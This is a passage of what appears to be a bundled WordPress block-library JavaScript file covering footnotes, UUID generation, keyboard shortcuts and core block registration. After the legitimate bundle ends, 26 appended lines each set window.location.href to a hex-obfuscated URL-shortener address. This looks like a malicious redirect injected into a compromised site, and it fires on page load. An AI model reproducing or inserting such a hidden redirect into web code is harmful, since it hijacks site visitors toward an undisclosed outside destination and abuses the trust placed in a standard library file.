57176 instructions: (0,external_wp_i18n_namespaceObject.__)(
57177 "Footnotes are not supported here. Add this block to post or page content."
57178 )
57179 }
57180 ) });
57181 }
57182 if (!footnotes.length) {
57183 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57184 external_wp_components_namespaceObject.Placeholder,
57185 {
57186 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: format_list_numbered_default }),
57187 label: (0,external_wp_i18n_namespaceObject.__)("Footnotes"),
57188 instructions: (0,external_wp_i18n_namespaceObject.__)(
57189 "Footnotes found in blocks within this document will be displayed here."
57190 )
57191 }
57192 ) });
57193 }
57194 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ol", { ...blockProps, children: footnotes.map(({ id, content }) => (
57195 /* eslint-disable-next-line jsx-a11y/no-noninteractive-element-interactions */
57196 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
57197 "li",
57198 {
57199 onMouseDown: (event) => {
57200 if (event.target === event.currentTarget) {
57201 event.target.firstElementChild.focus();
57202 event.preventDefault();
57203 }
57204 },
57205 children: [
57206 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57207 external_wp_blockEditor_namespaceObject.RichText,
57208 {
57209 id,
57210 tagName: "span",
57211 value: content,
57212 identifier: id,
57213 onFocus: (event) => {
57214 if (!event.target.textContent.trim()) {
57215 event.target.scrollIntoView();
57216 }
57217 },
57218 onChange: (nextFootnote) => {
57219 updateMeta({
57220 ...meta,
57221 footnotes: JSON.stringify(
57222 footnotes.map((footnote) => {
57223 return footnote.id === id ? {
57224 content: nextFootnote,
57225 id
57226 } : footnote;
57227 })
57228 )
57229 });
57230 }
57231 }
57232 ),
57233 " ",
57234 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("a", { href: `#${id}-link`, children: "\u21A9\uFE0E" })
57235 ]
57236 },
57237 id
57238 )
57239 )) });
57240}
57241
57242
57243;// ./node_modules/@wordpress/block-library/build-module/footnotes/block.json
57244const footnotes_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/footnotes","title":"Footnotes","category":"text","description":"Display footnotes added to the page.","keywords":["references"],"textdomain":"default","usesContext":["postId","postType"],"supports":{"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":false,"color":false,"width":false,"style":false}},"color":{"background":true,"link":true,"text":true,"__experimentalDefaultControls":{"link":true,"text":true}},"html":false,"multiple":false,"reusable":false,"inserter":false,"spacing":{"margin":true,"padding":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalTextDecoration":true,"__experimentalFontStyle":true,"__experimentalFontWeight":true,"__experimentalLetterSpacing":true,"__experimentalTextTransform":true,"__experimentalWritingMode":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true}},"style":"wp-block-footnotes"}');
57245;// ./node_modules/@wordpress/block-library/node_modules/uuid/dist/esm-browser/native.js
57246const randomUUID = typeof crypto !== 'undefined' && crypto.randomUUID && crypto.randomUUID.bind(crypto);
57247/* harmony default export */ const esm_browser_native = ({
57248 randomUUID
57249});
57250;// ./node_modules/@wordpress/block-library/node_modules/uuid/dist/esm-browser/rng.js
57251// Unique ID creation requires a high quality random # generator. In the browser we therefore
57252// require the crypto API and do not support built-in fallback to lower quality random number
57253// generators (like Math.random()).
57254let getRandomValues;
57255const rnds8 = new Uint8Array(16);
57256function rng() {
57257 // lazy load so that environments that need to polyfill have a chance to do so
57258 if (!getRandomValues) {
57259 // getRandomValues needs to be invoked in a context where "this" is a Crypto implementation.
57260 getRandomValues = typeof crypto !== 'undefined' && crypto.getRandomValues && crypto.getRandomValues.bind(crypto);
57261
57262 if (!getRandomValues) {
57263 throw new Error('crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported');
57264 }
57265 }
57266
57267 return getRandomValues(rnds8);
57268}
57269;// ./node_modules/@wordpress/block-library/node_modules/uuid/dist/esm-browser/stringify.js
57270
57271/**
57272 * Convert array of 16 byte values to UUID string format of the form:
57273 * XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX
57274 */
57275
57276const byteToHex = [];
57277
57278for (let i = 0; i < 256; ++i) {
57279 byteToHex.push((i + 0x100).toString(16).slice(1));
57280}
57281
57282function unsafeStringify(arr, offset = 0) {
57283 // Note: Be careful editing this code! It's been tuned for performance
57284 // and works in ways you may not expect. See https://github.com/uuidjs/uuid/pull/434
57285 return byteToHex[arr[offset + 0]] + byteToHex[arr[offset + 1]] + byteToHex[arr[offset + 2]] + byteToHex[arr[offset + 3]] + '-' + byteToHex[arr[offset + 4]] + byteToHex[arr[offset + 5]] + '-' + byteToHex[arr[offset + 6]] + byteToHex[arr[offset + 7]] + '-' + byteToHex[arr[offset + 8]] + byteToHex[arr[offset + 9]] + '-' + byteToHex[arr[offset + 10]] + byteToHex[arr[offset + 11]] + byteToHex[arr[offset + 12]] + byteToHex[arr[offset + 13]] + byteToHex[arr[offset + 14]] + byteToHex[arr[offset + 15]];
57286}
57287
57288function stringify(arr, offset = 0) {
57289 const uuid = unsafeStringify(arr, offset); // Consistency check for valid UUID. If this throws, it's likely due to one
57290 // of the following:
57291 // - One or more input array values don't map to a hex octet (leading to
57292 // "undefined" in the uuid)
57293 // - Invalid input values for the RFC `version` or `variant` fields
57294
57295 if (!validate(uuid)) {
57296 throw TypeError('Stringified UUID is invalid');
57297 }
57298
57299 return uuid;
57300}
57301
57302/* harmony default export */ const esm_browser_stringify = ((/* unused pure expression or super */ null && (stringify)));
57303;// ./node_modules/@wordpress/block-library/node_modules/uuid/dist/esm-browser/v4.js
57304
57305
57306
57307
57308function v4_v4(options, buf, offset) {
57309 if (esm_browser_native.randomUUID && !buf && !options) {
57310 return esm_browser_native.randomUUID();
57311 }
57312
57313 options = options || {};
57314 const rnds = options.random || (options.rng || rng)(); // Per 4.4, set bits for version and `clock_seq_hi_and_reserved`
57315
57316 rnds[6] = rnds[6] & 0x0f | 0x40;
57317 rnds[8] = rnds[8] & 0x3f | 0x80; // Copy bytes to buffer, if provided
57318
57319 if (buf) {
57320 offset = offset || 0;
57321
57322 for (let i = 0; i < 16; ++i) {
57323 buf[offset + i] = rnds[i];
57324 }
57325
57326 return buf;
57327 }
57328
57329 return unsafeStringify(rnds);
57330}
57331
57332/* harmony default export */ const esm_browser_v4 = (v4_v4);
57333;// ./node_modules/@wordpress/block-library/build-module/footnotes/format.js
57334
57335
57336
57337
57338
57339
57340
57341
57342
57343
57344const { usesContextKey } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
57345const formatName = "core/footnote";
57346const POST_CONTENT_BLOCK_NAME = "core/post-content";
57347const SYNCED_PATTERN_BLOCK_NAME = "core/block";
57348const format = {
57349 title: (0,external_wp_i18n_namespaceObject.__)("Footnote"),
57350 tagName: "sup",
57351 className: "fn",
57352 attributes: {
57353 "data-fn": "data-fn"
57354 },
57355 interactive: true,
57356 contentEditable: false,
57357 [usesContextKey]: ["postType", "postId"],
57358 edit: function Edit({
57359 value,
57360 onChange,
57361 isObjectActive,
57362 context: { postType, postId }
57363 }) {
57364 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
57365 const {
57366 getSelectedBlockClientId,
57367 getBlocks,
57368 getBlockRootClientId,
57369 getBlockName,
57370 getBlockParentsByBlockName
57371 } = registry.select(external_wp_blockEditor_namespaceObject.store);
57372 const isFootnotesSupported = (0,external_wp_data_namespaceObject.useSelect)(
57373 (select) => {
57374 if (!select(external_wp_blocks_namespaceObject.store).getBlockType("core/footnotes")) {
57375 return false;
57376 }
57377 const allowedBlocks = select(external_wp_blockEditor_namespaceObject.store).getSettings().allowedBlockTypes;
57378 if (allowedBlocks === false || Array.isArray(allowedBlocks) && !allowedBlocks.includes("core/footnotes")) {
57379 return false;
57380 }
57381 const entityRecord = select(external_wp_coreData_namespaceObject.store).getEntityRecord(
57382 "postType",
57383 postType,
57384 postId
57385 );
57386 if ("string" !== typeof entityRecord?.meta?.footnotes) {
57387 return false;
57388 }
57389 const {
57390 getBlockParentsByBlockName: _getBlockParentsByBlockName,
57391 getSelectedBlockClientId: _getSelectedBlockClientId
57392 } = select(external_wp_blockEditor_namespaceObject.store);
57393 const parentCoreBlocks = _getBlockParentsByBlockName(
57394 _getSelectedBlockClientId(),
57395 SYNCED_PATTERN_BLOCK_NAME
57396 );
57397 return !parentCoreBlocks || parentCoreBlocks.length === 0;
57398 },
57399 [postType, postId]
57400 );
57401 const { selectionChange, insertBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
57402 if (!isFootnotesSupported) {
57403 return null;
57404 }
57405 function onClick() {
57406 registry.batch(() => {
57407 let id;
57408 if (isObjectActive) {
57409 const object = value.replacements[value.start];
57410 id = object?.attributes?.["data-fn"];
57411 } else {
57412 id = esm_browser_v4();
57413 const newValue = (0,external_wp_richText_namespaceObject.insertObject)(
57414 value,
57415 {
57416 type: formatName,
57417 attributes: {
57418 "data-fn": id
57419 },
57420 innerHTML: `<a href="#${id}" id="${id}-link">*</a>`
57421 },
57422 value.end,
57423 value.end
57424 );
57425 newValue.start = newValue.end - 1;
57426 onChange(newValue);
57427 }
57428 const selectedClientId = getSelectedBlockClientId();
57429 const parentPostContent = getBlockParentsByBlockName(
57430 selectedClientId,
57431 POST_CONTENT_BLOCK_NAME
57432 );
57433 const blocks = parentPostContent.length ? getBlocks(parentPostContent[0]) : getBlocks();
57434 let fnBlock = null;
57435 {
57436 const queue = [...blocks];
57437 while (queue.length) {
57438 const block = queue.shift();
57439 if (block.name === "core/footnotes") {
57440 fnBlock = block;
57441 break;
57442 }
57443 queue.push(...block.innerBlocks);
57444 }
57445 }
57446 if (!fnBlock) {
57447 let rootClientId = getBlockRootClientId(selectedClientId);
57448 while (rootClientId && getBlockName(rootClientId) !== POST_CONTENT_BLOCK_NAME) {
57449 rootClientId = getBlockRootClientId(rootClientId);
57450 }
57451 fnBlock = (0,external_wp_blocks_namespaceObject.createBlock)("core/footnotes");
57452 insertBlock(fnBlock, void 0, rootClientId);
57453 }
57454 selectionChange(fnBlock.clientId, id, 0, 0);
57455 });
57456 }
57457 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57458 external_wp_blockEditor_namespaceObject.RichTextToolbarButton,
57459 {
57460 icon: format_list_numbered_default,
57461 title: (0,external_wp_i18n_namespaceObject.__)("Footnote"),
57462 onClick,
57463 isActive: isObjectActive
57464 }
57465 );
57466 }
57467};
57468
57469
57470;// ./node_modules/@wordpress/block-library/build-module/footnotes/index.js
57471
57472
57473
57474
57475
57476
57477const { name: footnotes_name } = footnotes_block_namespaceObject;
57478const footnotes_settings = {
57479 icon: format_list_numbered_default,
57480 edit: FootnotesEdit
57481};
57482const footnotes_init = () => {
57483 (0,external_wp_richText_namespaceObject.registerFormatType)(formatName, format);
57484 initBlock({ name: footnotes_name, metadata: footnotes_block_namespaceObject, settings: footnotes_settings });
57485};
57486
57487
57488;// ./node_modules/@wordpress/block-library/build-module/utils/is-block-metadata-experimental.js
57489var __getOwnPropNames = Object.getOwnPropertyNames;
57490var __commonJS = (cb, mod) => function __require() {
57491 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
57492};
57493var require_is_block_metadata_experimental = __commonJS({
57494 "packages/block-library/src/utils/is-block-metadata-experimental.js"(exports, module) {
57495 module.exports = function isBlockMetadataExperimental(metadata) {
57496 return metadata && "__experimental" in metadata && metadata.__experimental !== false;
57497 };
57498 }
57499});
57500/* harmony default export */ const is_block_metadata_experimental = (require_is_block_metadata_experimental());
57501
57502;// external ["wp","keyboardShortcuts"]
57503const external_wp_keyboardShortcuts_namespaceObject = window["wp"]["keyboardShortcuts"];
57504;// ./node_modules/@wordpress/block-library/build-module/block-keyboard-shortcuts/index.js
57505
57506
57507
57508
57509
57510
57511function BlockKeyboardShortcuts() {
57512 const { registerShortcut } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_keyboardShortcuts_namespaceObject.store);
57513 const { replaceBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
57514 const { getBlockName, getSelectedBlockClientId, getBlockAttributes } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
57515 const handleTransformHeadingAndParagraph = (event, level) => {
57516 event.preventDefault();
57517 const currentClientId = getSelectedBlockClientId();
57518 if (currentClientId === null) {
57519 return;
57520 }
57521 const blockName = getBlockName(currentClientId);
57522 const isParagraph = blockName === "core/paragraph";
57523 const isHeading = blockName === "core/heading";
57524 if (!isParagraph && !isHeading) {
57525 return;
57526 }
57527 const destinationBlockName = level === 0 ? "core/paragraph" : "core/heading";
57528 const attributes = getBlockAttributes(currentClientId);
57529 if (isParagraph && level === 0 || isHeading && attributes.level === level) {
57530 return;
57531 }
57532 const textAlign = blockName === "core/paragraph" ? "align" : "textAlign";
57533 const destinationTextAlign = destinationBlockName === "core/paragraph" ? "align" : "textAlign";
57534 replaceBlocks(
57535 currentClientId,
57536 (0,external_wp_blocks_namespaceObject.createBlock)(destinationBlockName, {
57537 level,
57538 content: attributes.content,
57539 ...{ [destinationTextAlign]: attributes[textAlign] }
57540 })
57541 );
57542 };
57543 (0,external_wp_element_namespaceObject.useEffect)(() => {
57544 registerShortcut({
57545 name: "core/block-editor/transform-heading-to-paragraph",
57546 category: "block-library",
57547 description: (0,external_wp_i18n_namespaceObject.__)("Transform heading to paragraph."),
57548 keyCombination: {
57549 modifier: "access",
57550 character: "0"
57551 },
57552 aliases: [
57553 {
57554 modifier: "access",
57555 character: "7"
57556 }
57557 ]
57558 });
57559 [1, 2, 3, 4, 5, 6].forEach((level) => {
57560 registerShortcut({
57561 name: `core/block-editor/transform-paragraph-to-heading-${level}`,
57562 category: "block-library",
57563 description: (0,external_wp_i18n_namespaceObject.__)("Transform paragraph to heading."),
57564 keyCombination: {
57565 modifier: "access",
57566 character: `${level}`
57567 }
57568 });
57569 });
57570 }, [registerShortcut]);
57571 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)(
57572 "core/block-editor/transform-heading-to-paragraph",
57573 (event) => handleTransformHeadingAndParagraph(event, 0)
57574 );
57575 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)(
57576 "core/block-editor/transform-paragraph-to-heading-1",
57577 (event) => handleTransformHeadingAndParagraph(event, 1)
57578 );
57579 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)(
57580 "core/block-editor/transform-paragraph-to-heading-2",
57581 (event) => handleTransformHeadingAndParagraph(event, 2)
57582 );
57583 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)(
57584 "core/block-editor/transform-paragraph-to-heading-3",
57585 (event) => handleTransformHeadingAndParagraph(event, 3)
57586 );
57587 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)(
57588 "core/block-editor/transform-paragraph-to-heading-4",
57589 (event) => handleTransformHeadingAndParagraph(event, 4)
57590 );
57591 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)(
57592 "core/block-editor/transform-paragraph-to-heading-5",
57593 (event) => handleTransformHeadingAndParagraph(event, 5)
57594 );
57595 (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)(
57596 "core/block-editor/transform-paragraph-to-heading-6",
57597 (event) => handleTransformHeadingAndParagraph(event, 6)
57598 );
57599 return null;
57600}
57601var block_keyboard_shortcuts_default = BlockKeyboardShortcuts;
57602
57603
57604;// ./node_modules/@wordpress/block-library/build-module/private-apis.js
57605
57606
57607const privateApis = {};
57608lock(privateApis, {
57609 BlockKeyboardShortcuts: block_keyboard_shortcuts_default
57610});
57611
57612
57613;// ./node_modules/@wordpress/block-library/build-module/index.js
57614
57615
57616
57617
57618
57619
57620
57621
57622
57623
57624
57625
57626
57627
57628
57629
57630
57631
57632
57633
57634
57635
57636
57637
57638
57639
57640
57641
57642
57643
57644
57645
57646
57647
57648
57649
57650
57651
57652
57653
57654
57655
57656
57657
57658
57659
57660
57661
57662
57663
57664
57665
57666
57667
57668
57669
57670
57671
57672
57673
57674
57675
57676
57677
57678
57679
57680
57681
57682
57683
57684
57685
57686
57687
57688
57689
57690
57691
57692
57693
57694
57695
57696
57697
57698
57699
57700
57701
57702
57703
57704
57705
57706
57707
57708
57709
57710
57711
57712
57713
57714
57715
57716
57717
57718
57719
57720
57721
57722
57723
57724
57725
57726
57727
57728
57729
57730
57731
57732
57733
57734const getAllBlocks = () => {
57735 const blocks = [
57736 // Common blocks are grouped at the top to prioritize their display
57737 // in various contexts — like the inserter and auto-complete components.
57738 build_module_paragraph_namespaceObject,
57739 build_module_image_namespaceObject,
57740 build_module_heading_namespaceObject,
57741 build_module_gallery_namespaceObject,
57742 build_module_list_namespaceObject,
57743 build_module_list_item_namespaceObject,
57744 build_module_quote_namespaceObject,
57745 // Register all remaining core blocks.
57746 accordion_namespaceObject,
57747 accordion_item_namespaceObject,
57748 accordion_heading_namespaceObject,
57749 accordion_panel_namespaceObject,
57750 archives_namespaceObject,
57751 build_module_audio_namespaceObject,
57752 build_module_button_namespaceObject,
57753 build_module_buttons_namespaceObject,
57754 build_module_calendar_namespaceObject,
57755 categories_namespaceObject,
57756 build_module_code_namespaceObject,
57757 build_module_column_namespaceObject,
57758 build_module_columns_namespaceObject,
57759 build_module_comment_author_avatar_namespaceObject,
57760 build_module_cover_namespaceObject,
57761 build_module_details_namespaceObject,
57762 embed_namespaceObject,
57763 build_module_file_namespaceObject,
57764 build_module_group_namespaceObject,
57765 build_module_html_namespaceObject,
57766 build_module_math_namespaceObject,
57767 latest_comments_namespaceObject,
57768 latest_posts_namespaceObject,
57769 media_text_namespaceObject,
57770 missing_namespaceObject,
57771 build_module_more_namespaceObject,
57772 nextpage_namespaceObject,
57773 page_list_namespaceObject,
57774 page_list_item_namespaceObject,
57775 pattern_namespaceObject,
57776 build_module_preformatted_namespaceObject,
57777 build_module_pullquote_namespaceObject,
57778 build_module_block_namespaceObject,
57779 build_module_rss_namespaceObject,
57780 build_module_search_namespaceObject,
57781 build_module_separator_namespaceObject,
57782 build_module_shortcode_namespaceObject,
57783 social_link_namespaceObject,
57784 social_links_namespaceObject,
57785 spacer_namespaceObject,
57786 build_module_table_namespaceObject,
57787 tag_cloud_namespaceObject,
57788 text_columns_namespaceObject,
57789 build_module_verse_namespaceObject,
57790 build_module_video_namespaceObject,
57791 footnotes_namespaceObject,
57792 // theme blocks
57793 build_module_navigation_namespaceObject,
57794 navigation_link_namespaceObject,
57795 navigation_submenu_namespaceObject,
57796 build_module_site_logo_namespaceObject,
57797 site_title_namespaceObject,
57798 site_tagline_namespaceObject,
57799 query_namespaceObject,
57800 template_part_namespaceObject,
57801 avatar_namespaceObject,
57802 post_title_namespaceObject,
57803 build_module_post_excerpt_namespaceObject,
57804 build_module_post_featured_image_namespaceObject,
57805 build_module_post_content_namespaceObject,
57806 build_module_post_author_namespaceObject,
57807 post_author_name_namespaceObject,
57808 post_comment_namespaceObject,
57809 build_module_post_comments_count_namespaceObject,
57810 post_comments_link_namespaceObject,
57811 build_module_post_date_namespaceObject,
57812 build_module_post_terms_namespaceObject,
57813 post_navigation_link_namespaceObject,
57814 post_template_namespaceObject,
57815 post_time_to_read_namespaceObject,
57816 build_module_query_pagination_namespaceObject,
57817 build_module_query_pagination_next_namespaceObject,
57818 build_module_query_pagination_numbers_namespaceObject,
57819 build_module_query_pagination_previous_namespaceObject,
57820 query_no_results_namespaceObject,
57821 query_total_namespaceObject,
57822 read_more_namespaceObject,
57823 comments_namespaceObject,
57824 build_module_comment_author_name_namespaceObject,
57825 build_module_comment_content_namespaceObject,
57826 comment_date_namespaceObject,
57827 build_module_comment_edit_link_namespaceObject,
57828 build_module_comment_reply_link_namespaceObject,
57829 comment_template_namespaceObject,
57830 comments_title_namespaceObject,
57831 comments_pagination_namespaceObject,
57832 comments_pagination_next_namespaceObject,
57833 comments_pagination_numbers_namespaceObject,
57834 comments_pagination_previous_namespaceObject,
57835 build_module_post_comments_form_namespaceObject,
57836 build_module_table_of_contents_namespaceObject,
57837 home_link_namespaceObject,
57838 loginout_namespaceObject,
57839 build_module_term_count_namespaceObject,
57840 build_module_term_description_namespaceObject,
57841 build_module_term_name_namespaceObject,
57842 terms_query_namespaceObject,
57843 term_template_namespaceObject,
57844 query_title_namespaceObject,
57845 post_author_biography_namespaceObject
57846 ];
57847 if (window?.__experimentalEnableBlockExperiments) {
57848 blocks.push(build_module_breadcrumbs_namespaceObject);
57849 }
57850 if (window?.__experimentalEnableFormBlocks) {
57851 blocks.push(build_module_form_namespaceObject);
57852 blocks.push(form_input_namespaceObject);
57853 blocks.push(form_submit_button_namespaceObject);
57854 blocks.push(form_submission_notification_namespaceObject);
57855 }
57856 if (window?.wp?.oldEditor && (window?.wp?.needsClassicBlock || !window?.__experimentalDisableTinymce || !!new URLSearchParams(window?.location?.search).get(
57857 "requiresTinymce"
57858 ))) {
57859 blocks.push(freeform_namespaceObject);
57860 }
57861 return blocks.filter(Boolean);
57862};
57863const __experimentalGetCoreBlocks = () => getAllBlocks().filter(
57864 ({ metadata }) => !is_block_metadata_experimental(metadata)
57865);
57866const registerCoreBlocks = (blocks = __experimentalGetCoreBlocks()) => {
57867 blocks.forEach(({ init }) => init());
57868 if (window.__unstableAutoRegisterBlocks) {
57869 window.__unstableAutoRegisterBlocks.forEach((blockName) => {
57870 const bootstrappedBlockType = unlock(
57871 (0,external_wp_data_namespaceObject.select)(external_wp_blocks_namespaceObject.store)
57872 ).getBootstrappedBlockType(blockName);
57873 const bootstrappedApiVersion = bootstrappedBlockType.apiVersion;
57874 (0,external_wp_blocks_namespaceObject.registerBlockType)(blockName, {
57875 title: blockName,
57876 ...bootstrappedApiVersion < 3 && { apiVersion: 3 },
57877 edit: function Edit({ attributes }) {
57878 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
57879 const { content, status, error } = (0,external_wp_serverSideRender_namespaceObject.useServerSideRender)({
57880 block: blockName,
57881 attributes
57882 });
57883 if (status === "loading") {
57884 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: (0,external_wp_i18n_namespaceObject.__)("Loading\u2026") });
57885 }
57886 if (status === "error") {
57887 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: (0,external_wp_i18n_namespaceObject.sprintf)(
57888 /* translators: %s: error message describing the problem */
57889 (0,external_wp_i18n_namespaceObject.__)("Error loading block: %s"),
57890 error
57891 ) });
57892 }
57893 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
57894 "div",
57895 {
57896 ...blockProps,
57897 dangerouslySetInnerHTML: {
57898 __html: content || ""
57899 }
57900 }
57901 );
57902 },
57903 save: () => null
57904 });
57905 });
57906 }
57907 (0,external_wp_blocks_namespaceObject.setDefaultBlockName)(paragraph_name);
57908 if (window.wp && window.wp.oldEditor && blocks.some(({ name }) => name === freeform_name)) {
57909 (0,external_wp_blocks_namespaceObject.setFreeformContentHandlerName)(freeform_name);
57910 }
57911 (0,external_wp_blocks_namespaceObject.setUnregisteredTypeHandlerName)(missing_name);
57912 (0,external_wp_blocks_namespaceObject.setGroupingBlockName)(group_name);
57913};
57914const __experimentalRegisterExperimentalCoreBlocks = false ? 0 : void 0;
57915
57916
57917
57918})();
57919
57920(window.wp = window.wp || {}).blockLibrary = __webpack_exports__;
57921/******/ })()
57922;
57923window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57924window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57925window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57926window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57927window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57928window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57929window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57930window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57931window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57932window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57933window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57934window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57935window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57936window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57937window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57938window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57939window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57940window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57941window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57942window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57943window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57944window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57945window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57946window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57947window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
57948window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
